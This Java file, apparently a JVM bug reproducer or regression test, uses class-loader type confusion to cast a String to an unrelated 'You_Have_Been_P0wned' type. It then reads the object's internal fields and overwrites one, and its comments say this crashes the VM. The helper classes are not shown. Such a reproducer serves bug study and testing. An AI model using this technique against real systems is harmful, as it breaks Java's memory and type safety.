1
2import java.lang.reflect.*;
3import java.security.*;
4
5abstract public class bug_21227 {
6
7  // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
8  public static Object _p0wnee;
9
10  public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
11    System.out.println("Warmup");
12
13    // Make a Class 'many_loader' under the default loader
14    bug_21227 bug = new many_loader();
15
16    // Some classes under a new Loader, LOADER2, including another version of 'many_loader'
17    ClassLoader LOADER2 = new Loader2();
18    Class clazz2 = LOADER2.loadClass("from_loader2");
19    IFace iface = (IFace)clazz2.newInstance();
20
21    // Set the victim, a String of length 6
22    String s = "victim";
23    _p0wnee = s;
24
25    // Go cast '_p0wnee' to type You_Have_Been_P0wned
26    many_loader[] x2 = bug.make(iface);
27
28    many_loader b = x2[0];
29
30    // Make it clear that the runtime type many_loader (what we get from the
31    // array X2) varies from the static type of many_loader.
32    Class cl1 = b.getClass();
33    ClassLoader ld1 = cl1.getClassLoader();
34    Class cl2 = many_loader.class;
35    ClassLoader ld2 = cl2.getClassLoader();
36    System.out.println("bug.make()  "+ld1+":"+cl1);
37    System.out.println("many_loader "+ld2+":"+cl2);
38
39    // Read the victims guts out
40    You_Have_Been_P0wned q = b._p0wnee;
41    System.out.println("q._a = 0x"+Integer.toHexString(q._a));
42    System.out.println("q._b = 0x"+Integer.toHexString(q._b));
43    System.out.println("q._c = 0x"+Integer.toHexString(q._c));
44    System.out.println("q._d = 0x"+Integer.toHexString(q._d));
45
46    System.out.println("I will now crash the VM:");
47    // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
48    //q._c = 3;
49    q._a = -1;
50
51    System.out.println(s);
52
53  }
54
55  // I need to compile (hence call in a loop) a function which returns a value
56  // loaded from classloader other than the system one.  The point of this
57  // call is to give me an abstract 'hook' into a function loaded with a
58  // foreign loader.
59  public abstract many_loader[] make( IFace iface ); // abstract factory
60}
61
62